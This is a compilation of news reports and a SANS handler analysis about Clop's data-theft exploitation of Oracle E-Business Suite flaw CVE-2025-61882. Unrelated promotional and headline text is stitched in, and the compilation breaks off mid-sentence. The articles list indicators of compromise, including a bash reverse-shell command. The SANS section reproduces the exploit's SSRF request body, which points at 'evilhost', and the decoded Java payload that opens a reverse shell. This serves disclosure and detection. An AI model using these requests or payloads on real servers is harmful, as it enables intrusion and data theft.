Oracle links Clop extortion attacks to July 2025 vulnerabilities

The Clop ransomware group likely began targeting Oracle E-Business Suite (EBS) instances as early as August 9, successfully exfiltrating a “significant amount” of data new insights from Google Threat Intelligence Group (GTIG) and Mandiant have revealed. An individual or group of people claiming to be working with the Clop ransomware was observed sending extortion emails to executives at several organizations since September 29. Google noted that the extortion campaign followed months of intrusion activity by the threat actor and exploitation of the zero-day CVE-2025-61882 began before patches were available. Similarities and Overlap with Clop Activities GTIG analysis, published on October 9, highlighted several indicators that Clop, also tracked as FIN11, was behind the extortion campaign. The contact addresses listed in the extortion emails sent to executives, [email protected] and [email protected], have been listed on the Clop data leak site (DLS) since at least May 2025. To substantiate their claims, the threat actor has provided legitimate file listings from victim EBS environments to multiple organizations with data dating back to mid-August 2025. “To date, GTIG has not observed victims from this campaign on the Clop DLS. This is consistent with past campaigns involving the Clop brand, where actors have typically waited several weeks before posting victim data,” the researchers noted. In addition, the majority of the alleged victims of the Oracle EBS campaign appear to be associated with data theft extortion incidents stemming from the exploitation of managed file transfer (MFT) systems. Such exploits are frequently attributed to Clop and suspected Clop threat clusters. Post exploitation tooling used in the campaign also shows “logical similarities” to malware used in another suspected Clop campaign. This includes the use of the in-memory Java-based loader GOLDVEIN.JAVA that fetches a second-stage payload. This approach has similarities with the suspected Clop exploitation of the Cleo MFT vulnerability in late 2024, which involved the deployment of the GOLDVEIN downloader and GOLDTOMB backdoor. “However, we have also observed evidence that Clop ransomware, and the Clop DLS has not been exclusively used by FIN11, precluding our ability to attribute based only on this factor,” GTIG added. How the Oracle EBS Campaign Unfolded The campaign followed months of intrusion activity targeting EBS customer environments, dating as far back as July 10, 2025. While GTIG was unable to confirm the exact nature of this initial activity, it said it's plausible that this was an early attempt at exploitation of Oracle EBS servers. After Oracle released a Critical Patch Update in July 2025, which addressed nine flaws affecting EBS, Mandiant observed more likely exploitation attempts. GTIG said it cannot confirm if both sets of activity were conducted by the same threat actor. Oracle warned customers on October 2 that hackers were exploiting unpatched vulnerabilities that were addressed in the July Critical Patch Update. Threat actors then began exploiting the zero-day CVE-2025-61882 against Oracle EBS customers as early as August 9, 2025, weeks before a patch was made available. CVE-2025-61882 is an unauthenticated remote code execution (RCE) flaw impacting Oracle EBS versions 12.2.3-12.2.14. An emergency patch for the flaw was released by Oracle on October 4. GTIG assessed that Oracle EBS servers updated through the patch are likely no longer vulnerable to known exploitation chains. Security Recommendations for Oracle EBS Customers GTIG set out a number of actions for organizations to tackle the threats to their Oracle EBS environments. Prioritize the application of Oracle EBS patches released on October 4 Hunt for malicious templates, as the threat actor stores payloads directly in the EBS database Block all non-essential outbound traffic from EBS servers to the internet, as this can disrupt the attack chain even if a server is compromised Monitor and analyze network logs for indicators of compromise Use memory forensics of Java processes associated with the EBS application to reveal malicious code or artifacts not present on disk Image credit: Stefan_Sutka / Shutterstock.com

Betti RHC, la prima graphic novel al mondo dedicata alla cybersecurity awareness, ha finalmente il suo sito ufficiale. Uno spazio tutto suo dove scoprire il progetto, sfogliare le copertine degli episodi e immergersi nel mondo di Betti: la giovane laureanda in informatica che, dopo la morte misteriosa del padre, si trasforma nell'hacker più potente del mondo. Una storia avvincente che, episodio dopo episodio, affronta una minaccia digitale diversa — dal phishing al ransomware, fino al cyberbullismo — e insegna a riconoscerla e a difendersi, senza che sembri mai una lezione. Sul sito trovate tutto ciò che rende Betti un progetto diverso dal solito: la sua filosofia, le anteprime delle tavole e il racconto di come nasce ogni volume. Perché dietro Betti RHC c'è solo lavoro umano: ogni tavola è disegnata interamente a mano dagli artisti del Gruppo Arte di Red Hot Cyber, senza alcun uso di intelligenza artificiale. E a garantire che ogni storia sia realistica e tecnicamente corretta c'è la supervisione degli hacker etici del gruppo HackerHood, che mantengono il racconto fedele al mondo reale della sicurezza informatica. C'è spazio anche per le aziende, che possono usare Betti come strumento di awareness diverso dai soliti corsi: acquistare i volumi, personalizzarli con il proprio brand o sponsorizzare nuovi episodi. E come primo regalo, l'episodio "Byte the Silence", dedicato al cyberbullismo, è scaricabile gratuitamente per uso personale. Perché la miglior difesa, in fondo, è una bella storia. 👉 Scopri tutto su https://betti.redhotcyber.com/

The Clop ransomware gang has been exploiting a critical Oracle E-Business Suite (EBS) zero-day bug in data theft attacks since at least early August, according to cybersecurity company CrowdStrike. Tracked as CVE-2025-61882 and patched by Oracle over the weekend, this vulnerability was discovered in the BI Publisher Integration component of Oracle EBS's Concurrent Processing component, allowing unauthenticated attackers to gain remote code execution on unpatched systems in low-complexity attacks that don't require user interaction. However, as watchTowr Labs security researchers found while reverse-engineering a proof-of-concept (PoC) exploit leaked online by the Scattered Lapsus$ Hunters cybercrime gang (with a May 2025 timestamp), CVE-2025-61882 is actually a vulnerability chain that can let threat actors gain remote code execution without requiring authentication using a single HTTP request. On Monday, CrowdStrike analysts reported that they had first spotted the Clop ransomware gang exploiting CVE-2025-61882 as a zero-day since early August to steal sensitive documents, adding that other threat groups may have also joined the attacks. "CrowdStrike Intelligence assesses with moderate confidence that GRACEFUL SPIDER is likely involved in this campaign but cannot rule out the possibility that multiple threat actors have exploited CVE-2025-61882. The first known exploitation occurred on August 9, 2025; however, investigations remain ongoing, and this date is subject to change," CrowdStrike said. "CrowdStrike Intelligence further assesses that the October 3, 2025 proof-of-concept (POC) disclosure and the CVE-2025-61882 patch release will almost certainly encourage threat actors — particularly those familiar with Oracle EBS — to create weaponized POCs and attempt to leverage them against internet-exposed EBS applications." Mandiant and the Google Threat Intelligence Group (GTIG) told BleepingComputer last week that Clop has been emailing executives at multiple companies as part of an ongoing extortion campaign, requesting ransoms to prevent sensitive data allegedly stolen from their Oracle E-Business Suite systems from being leaked online. On Thursday, Oracle linked the extortion emails claimed by the Clop cybercrime gang to the CVE-2025-61882 Oracle EBS vulnerability, urging customers to prioritize patching this actively exploited flaw. "Oracle strongly recommends that customers apply the updates provided by this Security Alert as soon as possible. Oracle always recommends that customers remain on actively-supported versions and apply all Security Alerts and Critical Patch Update security patches without delay," it warned. The Clop extortion group has a long history of abusing zero-day flaws in massive data theft campaigns, most recently extorting dozens of victims in January, after stealing their files in attacks targeting a zero-day vulnerability (CVE-2024-50623) in Cleo's secure file transfer software. Previously, Clop was linked to multiple other data theft campaigns targeting zero-days in Accellion FTA, GoAnywhere MFT, and MOVEit Transfer, with the latter impacting over 2,770 organizations. The U.S. State Department now also offers a $10 million reward for any information that could help link Clop's ransomware attacks to a foreign government. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Leaked Oracle EBS exploit scripts expected to drive new wave of attacks (CVE-2025-61882) Resecurity and watchTowr researchers have analyzed the leaked scripts used by attackers to exploit CVE-2025-61882 on internet-facing Oracle ESB instances. Whether the attackers were Cl0p or LAPSUS$, both, or even additional threat actors is still unknown, as the scripts have been leaked on Telegram. CVE-2025-61882 exploit scripts analyzed “What we have observed is that CVE-2025-61882 (…) is not ‘just’ one vulnerability. It is a poetic flow of numerous small/medium weaknesses,” watchTowr researchers Sina Kheirkhah and Jake Knot noted. “This is noteworthy because (…) whoever first discovered these vulnerabilities and chained them clearly knows Oracle EBS incredibly well at this point.” Two Python scripts are required to pull off the attack: Server.py, an HTTP server implementation and exp.py, an exploit client that coerces the Oracle EBS server into fetching the attacker’s malicious payload. “Using the exp.py script, the attacker sends a specially crafted HTTP request to the target Oracle EBS instance. This request includes a return_url parameter that references the attacker’s payload server. To evade basic security filters, the URL is encoded using numeric HTML character entities. This causes the EBS server to fetch and process content from the attacker-controlled server, effectively executing a server-side request forgery (SSRF),” Resecurity researchers explained. “Upon following the return_url, the EBS application retrieves the malicious XSL file. The file includes an embedded JavaScript payload that is decoded and executed using Java’s javax.script API.” Once the payload is executed, the EBS server initiates a reverse shell connection back to the attacker’s listener. “The shell typically runs under the Oracle user context, granting the attacker interactive access to the target system’s operating environment,” the researchers added. More attacks expected It’s still unclear whether the attackers only used CVE-2025-61882 to breach Oracle EBS instances or other vulnerabilities, as well. Oracle initially said that the attackers leveraged flaws patched in July 2025, but has since removed that particular post. What’s almost certain is that these and likely other attackers will continue to leverage the leaked exploit scripts to target Oracle EBS instances exposed on the internet. According to Mandiant, exploitation of the flaw and subsequent data theft attacks started in August 2025. Many of the affected organizations already know they’ve been hit, as they’ve received the Cl0p extortion emails. But all organizations with internet-facing Oracle EBS instances should check for indicators of compromise that Oracle provided in the CVE-2025-61882 security advisory, and update the instances with all the provided fixes as instructed. WatchTowr researchers have published a script that can be used to check whether an Oracle E-Business Suite instance is vulnerable to CVE-2025-61882, and CISA has added CVE-2025-61882 to its Known Exploited Vulnerabilities catalog. UPDATE (October 7, 2025, 09:40 a.m. ET): Crowdstrike has shared additional indicators of compromise related to these attacks. UPDATE (October 9, 2025, 00:25 p.m. ET): “The threat actor(s) exploited what may be CVE-2025-61882 as a zero-day vulnerability against Oracle EBS customers as early as Aug. 9, 2025, weeks before a patch was available, with additional suspicious activity dating back to July 10, 2025. In some cases, the threat actor successfully exfiltrated a significant amount of data from impacted organizations,” Google Threat Intelligence Group (GTIG) and Mandiant shared today. The suspicious activity spotted on July 10 can’t be conclusively tied to the use of the exploit scripts analyzed by Resecurity and watchTowr, but the IP address from which the suspicious traffic came was spotted again – along with many additional ones – in the successful August attacks. The attackers also used multi-stage, fileless malware: the GOLDVEIN.JAVA downloader, the SAGEGIFT loader, the SAGELEAF in-memory dropper, and SAGEWAVE, a malicious Java servlet filter that allows the actor to deploy an AES-encrypted ZIP archive with Java classes in it. Unfortunately, they did not manage to capture the final malware deployed. Based on several clues, the threat actor(s) behind this campaign are likely Fin11, known for leveraging the Cl0p ransomware and exploiting zero-days in internet-facing file transfer/file sharing enterprise solutions, or a partner group that uses the CL0P ransomware and the CL0P data leak site. “We’re still assessing the scope of this incident, but we believe it affected dozens of organizations. Some historic CL0P data extortion campaigns have had hundreds of victims. Unfortunately large scale zero-day campaigns like this are becoming a regular feature of cybercrime,” John Hultquist, Chief Analyst at Google Threat Intelligence Group – Google Cloud, added. Subscribe to our breaking news e-mail alert to never miss out on the latest breaches, vulnerabilities and cybersecurity threats. Subscribe here!

CrowdStrike on Monday said it's attributing the exploitation of a recently disclosed security flaw in Oracle E-Business Suite with moderate confidence to a threat actor it tracks as Graceful Spider (aka Cl0p), and that the first known exploitation occurred on August 9, 2025. The malicious activity involves the exploitation of CVE-2025-61882 (CVSS score: 9.8), a critical vulnerability that facilitates remote code execution without authentication. The cybersecurity company also noted that it's currently not known how a Telegram channel "insinuating" collaboration between Scattered Spider, LAPSUS$ (aka Slippy Spider), and ShinyHunters came into the possession of an exploit for the flaw, and if they and other threat actors have leveraged it in real-world attacks. The Telegram channel has been observed sharing the purported Oracle EBS exploit, while criticizing Graceful Spider's tactics. It's worth noting that the binaries dropped by the Cl0p actors contained signatures referencing LAPSUS$, Scattered Spider, and ShinyHunters – codenamed by Resecurity as the Trinity of Chaos. "Based on our review of the messaging in the Telegram channels, this doesn't seem to have been intentional at all," Christiaan Beek, senior director of threat intelligence and analytics at Rapid7, told The Hacker News regarding the possibility of an exploit shared between the two threat groups. "The way they call out Cl0p and the language used doesn't appear to represent a 'friendship' between partners in crime. However, it does look like one of the Scattered Spider LAPSUS$ Hunters 'members' shared this vulnerability with Cl0p." In its own technical breakdown of the activity, Resecurity pointed out that the files reference an exploit client named "exp.py" and a malicious content server named "server.py," adding "both collectives seem to be competing with each other, surprising the industry with new massive hacks resulting from large-scale exploitation of vulnerabilities." The exploit workflow is outlined below - The server is initiated by the attacker to deliver the XSL payload containing a Base64-encoded reverse shell The attacker configures a listener using a tool such as Netcat to accept incoming reverse shell connections from compromised systems so as to establish a communication channel Use the exploit client to send a specially crafted HTTP request to the target Oracle EBS instance that includes a "return_url" parameter referencing the attacker's payload server The EBS application retrieves the malicious XSL file, which contains JavaScript code to establish a reverse shell connection back to the attacker's listener The attacker leverages the reverse shell for post-exploitation The observed activity so far involves an HTTP request to /OA_HTML/SyncServlet, resulting in an authentication bypass. The attacker then targets Oracle's XML Publisher Template Manager by issuing GET and POST requests to /OA_HTML/RF.jsp and /OA_HTML/OA.jsp to upload and execute a malicious XSLT template, The commands in the malicious template are executed when it is previewed, resulting in an outbound connection from the Java web server process to attacker-controlled infrastructure over port 443. The connection is subsequently used to remotely load web shells to execute commands and establish persistence. It's believed that one or more threat actors are in possession of the CVE-2025-61882 exploit for purposes of data exfiltration. "The proof-of-concept disclosure and the CVE-2025-61882 patch release will almost certainly encourage threat actors – particularly those familiar with Oracle EBS — to create weaponized POCs and attempt to leverage them against internet-exposed EBS applications," it said. In a separate analysis, WatchTowr Labs said, "The chain demonstrates a high level of skill and effort, with at least five distinct bugs orchestrated together to achieve pre-authenticated remote code execution." The entire sequence of events is as follows - Send an HTTP POST request containing a crafted XML to /OA_HTML/configurator/UiServlet to coerce the backend server to send arbitrary HTTP requests by means of a Server-Side Request Forgery (SSRF) attack Use a Carriage Return/Line Feed (CRLF) Injection to inject arbitrary headers into the HTTP request triggered by the pre-authenticated SSRF Use this vulnerability to smuggle requests to an internet-exposed Oracle EBS application via "apps.example.com:7201/OA_HTML/help/../ieshostedsurvey.jsp" and load a malicious XSLT template The attack, at its core, takes advantage of the fact that the JSP file can load an untrusted stylesheet from a remote URL, opening the door for an attacker to achieve arbitrary code execution. "This combination lets an attacker control request framing via the SSRF and then reuse the same TCP connection to chain additional requests, increasing reliability and reducing noise," the company said. "HTTP persistent connections, also known as HTTP keep-alive or connection reuse, let a single TCP connection carry multiple HTTP request/response pairs instead of opening a new connection for every exchange." CVE-2025-61882 has since been added to the Known Exploited Vulnerabilities (KEV) catalog by the Cybersecurity and Infrastructure Security Agency (CISA), noting that it has been used in ransomware campaigns, urging federal agencies to apply the fixes by October 27, 2025. "Cl0p has been exploiting multiple vulnerabilities in Oracle EBS since at least August 2025, stealing large amounts of data from several victims, and has been sending extortion emails to some of those victims since last Monday," Jake Knott, principal security researcher at watchTowr, said in a statement. "Based on the evidence, we believe this is Cl0p activity, and we fully expect to see mass, indiscriminate exploitation from multiple groups within days. If you run Oracle EBS, this is your red alert. Patch immediately, hunt aggressively, and tighten your controls — fast." (The story was updated after publication to include insights from Resecurity and a response from Rapid7.)

FBI, UK gov’t urge orgs to patch Oracle E-Business vuln after alleged Clop campaign Oracle issued a security alert this weekend urging customers to patch a vulnerability currently being exploited by cybercriminals. Oracle’s security alert said CVE-2025-61882 impacts the Oracle E-Business Suite — a widely-used business platform containing several applications that manage finance, human resources and supply chain functions. Oracle explained that the vulnerability, which carries a severity score of 9.8 out of 10, could be exploited remotely “without the need for a username and password.” Customers need to install patches from an October 2023 update before installing the new patch issued on Saturday. Oracle also shared indicators of compromise that organizations can use to support their efforts to detect and contain potential breaches. FBI Assistant Director Brett Leatherman said “this is ‘stop-what-you’re-doing and patch immediately’ vulnerability.” “The bad guys are likely already exploiting in the wild, and the race is on before others identify and target vulnerable systems,” he said in a Sunday evening post on LinkedIn. “In plain terms: if your [E-Business Suite] environment is reachable on the network, and especially if it’s internet facing, it’s at risk for full compromise.” Leatherman added that Oracle E-Business Suite customers should isolate potentially affected servers and monitor threat intelligence channels because “exploit activity could escalate quickly.” “Oracle EBS remains a backbone ERP system for major enterprises and public-sector environments, which means attackers have every incentive to weaponize this one fast,” he explained. “If you suspect compromise - please connect with us.” Cybersecurity agencies in the U.K. and Singapore published their own advisories with similar guidance. The U.S. Cybersecurity and Infrastructure Security Agency added the bug to its Known Exploited Vulnerabilities catalog and ordered all federal civilian agencies to patch it by October 28. Mandiant chief technology officer Charles Carmakal tied CVE-2025-61882 to a campaign unveiled last week by the cybercriminal group Clop. The group is currently attempting to extort corporate executives by threatening to leak sensitive information they claim was stolen through the Oracle E-Business Suite. Oracle confirmed the campaign but initially said the hackers were exploiting bugs that had been addressed in a July update, without specifying which vulnerabilities were being used. On Sunday, Carmakal said Clop “exploited multiple vulnerabilities in Oracle [E-Business Suite] which enabled them to steal large amounts of data from several victims in August 2025.” “Clop has been sending extortion emails to several victims since last Monday. However, please note they may not have attempted to reach out to all victims yet,” he said. “Multiple vulnerabilities were exploited including vulnerabilities that were patched in Oracle's July 2025 update as well as one that was patched this weekend (CVE-2025-61882).” He added that organizations should “examine whether they were already compromised.” Several other cybersecurity experts confirmed that Clop has been exploiting multiple vulnerabilities in Oracle E-Business Suite since August. Jake Knott, principal security researcher at cybersecurity firm watchTowr, said exploit code for CVE-2025-61882 became public by Monday. Jonathan Greig is a Breaking News Reporter at Recorded Future News. Jonathan has worked across the globe as a journalist since 2014. Before moving back to New York City, he worked for news outlets in South Africa, Jordan and Cambodia. He previously covered cybersecurity at ZDNet and TechRepublic.

Cl0p exploits Oracle E-Business Suite zero-day in data theft, extortion campaign (CVE-2025-61882) The Cl0p extortion gang exploited multiple Oracle E-Business Suite (EBS) vulnerabilities, including one zero-day flaw (CVE-2025-61882), “to steal large amounts of data from several victim[s] in August 2025,” Charles Carmakal, CTO at Mandiant – Google Cloud, stated on Sunday. “Clop has been sending extortion emails to several victims since last Monday. However, please note they may not have attempted to reach out to all victims yet,” he added. The extortion email (Source: Mandiant) About CVE-2025-61882 Oracle CSO Rob Duhart initially intimated that the compromises happened because some customers did not apply the security patches Oracle released in July 2025. On Saturday, the company updated the post and removed that text, and the post now says that Oracle has issued a Security Alert Advisory for CVE-2025-61882, “to provide updates against additional potential exploitation that were discovered during [their] investigation.” CVE-2025-61882’s nature hasn’t been specified, but Oracle says it affects the BI Publisher Integration component of Oracle Concurrent Processing within Oracle E-Business Suite. (Oracle Concurrent Processing is a core component of Oracle EBS that manages the execution of background tasks.) CVE-2025-61882 is easily exploitable by unauthenticated attackers with network access via HTTP, and may lead to remote code execution. It affects Oracle E-Business Suite versions 12.2.3 through (and including) 12.2.14. Oracle EBS customers should check for evidence of compromise While Google initially said it didn’t have enough evidence to confirm that the extortion emails sent to business executives came from Clop (or Cl0p, as the gang styles its name), the connection is now confirmed. “Given the broad mass 0-day exploitation that has already occurred (and the n-day exploitation that will likely continue by other actors), irrespective of when the patch is applied, organizations should examine whether they were already compromised,” Carmakal advised. Oracle’s security advisory lists IP addresses, files and commands observed in the attacks, which can be used for threat detection and hunting. Among the indicators of compromise are Python scripts and an archive file whose names reference “Scattered Lapsus$ Hunters”, a threat group that ostensibly encompasses members of the Scattered Spider, Lapsus$, and ShinyHunters hacking outfits. According to BleepingComputer, Scattered Lapsus$ Hunters leaked the archive file, which contains the Python exploit scripts, on Telegram last Friday, but whether Cl0p and Scattered Lapsus$ Hunters are working together on these or other attacks is unclear at this time. On Sunday, a security researcher published a Nuclei script for detecting Oracle E-Business Suite instances that are vulnerable to CVE-2025-61882. Subscribe to our breaking news e-mail alert to never miss out on the latest breaches, vulnerabilities and cybersecurity threats. Subscribe here!

DEVOPS Go updates may delight diehard gophers but displease AI overlordsv 1.27 expands generics to support methods EDGE AND IOT Waymo has designed a robocar chip to stay ahead of Tesla5 nm ML accelerators promise 1,000+ TOPS, ultra-low latency SYSTEMS AMD inches closer to its goal of making AI suck less ... energyHouse of Zen claims latest systems already 4x more efficient than two years ago Google pits Marvell against Broadcom as it chases AI crownAnd Marvell just offered the Chocolate Factory a $12.2B stake to sweeten the deal SYSTEMS Cerebras CS-4 rack systems juice chips for every last drop of AI performanceNext-gen systems double per-chip performance while cramming 3x as many into a rack Security Russians are posing as Signal support to launch phishing attacksPLUS: US takes down Iranian propaganda sites; Marketing company asks 'Why Do We Have Your Information?' And more! Security Microsoft patches failed to fix on-prem SharePoint, which is now under zero-day attackPLUS: China upgrades smartphone surveillance tools; Ring eases anti-snooping stance; and more Black Hat and DEF CON DEF CON Franklin project enlists hackers to harden critical infrastructureVoting village reports have been so successful, says Jeff Moss, that the whole of DEF CON will now be included Security EQT buys majority share in Swiss cybersecurity biz AcronisWent at equivalent of $3.5B+ valuation for entire firm, though portion sold not specified Malware Month Ten years since the first corp ransomware, Mikko Hyppönen sees no end in sightOn the plus side, infosec's a good bet for a long, stable career FOSS smashed one Microsoft monopoly. After 20 years of failure, it's time to smash anotherWord up GNOME can look like Windows – and Flashback can do it without extensionsNew 'Simple-taskbar' is an option, but there's a simpler, stabler way A moment of silence, please, for the final release of Debian on x86-32New Debian versions hit FOSSland in the form of 13.6 and 12.15 Baddies caught exploiting extensions bugs with perfect 10 scores on vulnerable Joomla websitesFlaws in iCagenda, Balbooa Forms extensions can impact open source CMS that powers a million sites worldwide Frame: A new X11 server – implemented directly in assemblyJoins yserver, Phoenix, and of course XLibre – and outlier Arcan Cinnamon 6.8 will support Wayland – if you want itNext version of Linux Mint’s desktop has both kinds of display server

Oracle has released an emergency update to address a critical security flaw in its E-Business Suite software that it said has been exploited in the recent wave of Cl0p data theft attacks. The vulnerability, tracked as CVE-2025-61882 (CVSS score: 9.8), concerns an unspecified bug that could allow an unauthenticated attacker with network access via HTTP to compromise and take control of the Oracle Concurrent Processing component. "This vulnerability is remotely exploitable without authentication, i.e., it may be exploited over a network without the need for a username and password," Oracle said in an advisory. "If successfully exploited, this vulnerability may result in remote code execution." In a separate alert, Oracle's Chief Security Officer Rob Duhart said the company has released fixes for CVE-2025-61882 to "provide updates against additional potential exploitation that were discovered during our investigation." As indicators of compromise (IoCs), the technology shared the following IP addresses and artifacts, indicating the likely involvement of the Scattered LAPSUS$ Hunters group as well in the exploit - 200.107.207[.]26 (Potential GET and POST activity) 185.181.60[.]11 (Potential GET and POST activity) sh -c /bin/bash -i >& /dev/tcp// 0>&1 (Establish an outbound TCP connection over a specific port) oracle_ebs_nday_exploit_poc_scattered_lapsus_retard_cl0p_hunters.zip oracle_ebs_nday_exploit_poc_scattered_lapsus_retard-cl0p_hunters/exp.py oracle_ebs_nday_exploit_poc_scattered_lapsus_retard-cl0p_hunters/server.py News of the Oracle zero-day comes days after reports emerged of a new campaign likely undertaken by the Cl0p ransomware group targeting Oracle E-Business Suite. Google-owned Mandiant described the ongoing activity as a "high-volume email campaign" launched from hundreds of compromised accounts. In a post shared on LinkedIn, Charles Carmakal, CTO of Mandiant at Google Cloud, said "Cl0p exploited multiple vulnerabilities in Oracle EBS which enabled them to steal large amounts of data from several victims in August 2025," adding "multiple vulnerabilities were exploited including vulnerabilities that were patched in Oracle's July 2025 update as well as one that was patched this weekend (CVE-2025-61882)." "Given the broad mass zero-day exploitation that has already occurred (and the n-day exploitation that will likely continue by other actors), irrespective of when the patch is applied, organizations should examine whether they were already compromised," Carmakal noted. (For additional details related to the vulnerability and the malicious activity, please visit the article here.)

[Update: I added the server part delivering the payload] This weekend, Oracle published a surprise security bulletin announcing an exploited vulnerability in Oracle E-Business Suite. As part of the announcement, which also included a patch, Oracle published IoC observed as part of the incident response [1]. One script I found interesting is what Oracle calls "exp.py" [2]. Here is a quick analysis of the HTTP requests sent by the script. I only ran it against a simple Python web server, not an actual Oracle E-Business Suite install. The script takes two parameters: The URL of the target and the IP/port of a config server. The first request sent by the script: GET /OA_HTML/runforms.jsp HTTP/HTTP/1.1 Host: [target host]:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive The script starts by assuming that the internal host is the same as the target host. If this request results in a redirect, the new internal host will be extracted from the Location header. POST /OA_HTML/JavaScriptServlet HTTP/HTTP/1.1 Host: [target host]:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive CSRF-XHR: YES FETCH-CSRF-TOKEN: 1 Content-Length: 0 This request will return a CSRF token that is extracted from the body of the response. Finally, the actual exploit request is created: POST /OA_HTML/configurator/UiServlet HTTP/HTTP/1.1 Host: localhost:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive CSRF-XHR: YES FETCH-CSRF-TOKEN: 1 Content-Length: 4324 Content-Type: application/x-www-form-urlencoded These are the headers of the request, which are not very remarkable. The body is a bit more interesting. After URL and HTML entity decoding, the body turns out to be: redirectFromJsp=1 getUiType= ++++ test ++++ http://target:7201/OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2 Host: evilhost:80 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Connection: keep-alive Cookie: POST / ++++ 0 ++++ 0 ++++ Applet Interesting is the use of the invalid HTTP version 1.2, which may be used to bypass some filters. The stray "POST /" at the end is labeled as "keep alive", and may just be a partial request to keep the connection open a bit longer. Port 7201 is the default non-TLS port for the application server. The URL looks like a path traversal exploit. Given that this is the payload of the last request, the vulnerability is likely best described as a server-side request forgery issue (and it is labeled as such in the script). In short, the exploit does: Verify the hostname name Retrieve a CSRF token sends a request to the app server to use SSRF to connect to an "evilhost" and retrieve instructions? Maybe more about this later. From a detection point of view. The HTTP version 1.2 looks promising. The "evilhost" the script connects to is implemented with a simple Python script, server.py, implementing two paths [3]: GET /OA_HTML/help/../ieshostedsurvey.xsl POST /OA_HTML/help/../ibeCRgpIndividualUser.jsp Both return the same XSLT style sheet: The Base64 encoded part includes the user configurable command to execute: var stringc = java.lang.Class.forName('java.lang.String'); var cmds = java.lang.reflect.Array.newInstance(stringc,3); java.lang.reflect.Array.set(cmds,0,'sh'); java.lang.reflect.Array.set(cmds,1,'-c'); java.lang.reflect.Array.set(cmds,2,'bash -i >& /dev/tcp/8.8.8.8/4444 0>&1'); java.lang.Runtime.getRuntime().exec(cmds); 1 For the Windows version of the exploit, cmd /c is used instead of sh -c. Note that the request referenced in exp.py requests "/OA_HTML/help/../ieshostedsurvey.jsp", not the .xsl stylesheet. I can only guess at this point that there may be a request triggered to translate the .jsp file, which may be related to the SSRF issue. Maybe someone else has a better idea, or more insight into how the app server works. [1] https://www.oracle.com/security-alerts/alert-cve-2025-61882.html [2] https://www.virustotal.com/gui/file/aa0d3859d6633b62bccfb69017d33a8979a3be1f3f0a5a4bf6960d6c73d41121 [3] https://www.virustotal.com/gui/file/6fd538e4a8e3493dda6f9fcdc96e814bdd14f3e2ef8aa46f0143bff34b882c1b/community -- Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu Twitter|

Update 10/6/25 11:15 AM ET: Updated story with more information on the leaked Oracle source code and the leaking of the exploit. Oracle is warning about a critical E-Business Suite zero-day vulnerability tracked as CVE-2025-61882 that allows attackers to perform unauthenticated remote code execution, with the flaw actively exploited in Clop data theft attacks. The flaw is within the Oracle Concurrent Processing product of Oracle E-Business Suite (component: BI Publisher Integration) and has a CVSS base score of 9.8, due to its lack of authentication and ease of exploitation. "This Security Alert addresses vulnerability CVE-2025-61882 in Oracle E-Business Suite," reads a new Oracle advisory. "This vulnerability is remotely exploitable without authentication, i.e., it may be exploited over a network without the need for a username and password. If successfully exploited, this vulnerability may result in remote code execution." Oracle has confirmed that the zero-day vulnerability affects Oracle E-Business Suite, versions 12.2.3-12.2.14, and has released an emergency update to address the flaw. The company notes that customers must first install the October 2023 Critical Patch Update before they can install the new security updates. As a public PoC exploit exists and the flaw is actively exploited, it is crucial for Oracle admins to install the security update as soon as possible. Zero-day exploited in Clop data theft attacks While Oracle has not explicitly stated that this is a zero-day vulnerability, they did share indicators of compromise that correspond to an Oracle EBS exploit recently shared by threat actors on Telegram. Charles Carmakal, CTO, Mandiant - Google Cloud, also confirmed that CVE-2025-61882 and other flaws patched in July were exploited by the Clop ransomware gang in the August 2025 data theft attacks on Oracle E-Business Suite servers. "Clop exploited multiple vulnerabilities in Oracle EBS which enabled them to steal large amounts of data from several victim in August 2025," Carmakal shared on LinkedIn. "Multiple vulnerabilities were exploited including vulnerabilities that were patched in Oracle's July 2025 update as well as one that was patched this weekend (CVE-2025-61882)," continued Carmakal. News of Clop's latest extortion campaign first broke last week, when Mandiant and the Google Threat Intelligence Group (GTIG) reported that they were tracking a new campaign in which multiple companies received emails claiming to be from the threat actors. These emails stated that Clop had stolen data from the company's Oracle E-Business Suite systems and were demanding a ransom not to leak the stolen data. "We are CL0P team. If you haven't heard about us, you can google about us on internet," reads the extortion email shared with BleepingComputer. "We have recently breached your Oracle E-Business Suite application and copied a lot of documents. All the private files and other information are now held on our systems." The Clop extortion gang has a long history of exploiting zero-day vulnerabilities in massive data theft attacks, including: 2020: Exploiting a zero-day in the Accellion FTA platform, affecting nearly 100 organizations. 2021: Exploiting a zero-day in SolarWinds Serv-U FTP software. 2023: Exploiting a zero-day in the GoAnywhere MFT platform, breaching over 100 companies. 2023: Exploiting a zero-day in MOVEit Transfer was Clop's most extensive campaign to date, where a zero-day exploit allowed data theft from 2,773 organizations worldwide. 2024: Exploited two Cleo file transfer zero-days (CVE-2024-50623 and CVE-2024-55956) to steal data and extort companies. Clop later confirmed to BleepingComputer that they were behind the extortion emails and indicated they exploited an Oracle zero-day vulnerability to steal the data. "Soon all will become obvious that Oracle bugged up their core product and once again, the task is on clop to save the day," Clop told BleepingComputer, indicating a new flaw was exploited. However, Oracle initially linked the Clop extortion campaign to vulnerabilities that were patched in July 2025 rather than the new zero-day that we now know was used in the attacks. Oracle has now shared indicators of compromise for the zero-day exploitation, which include two IP addresses seen exploiting servers, a command to open a remote shell, and the exploit archive and associated files. 200[.]107[.]207[.]26 - IP address associated with observed exploitation. (HTTP GET and POST requests) 185[.]181[.]60[.]11 - IP address associated 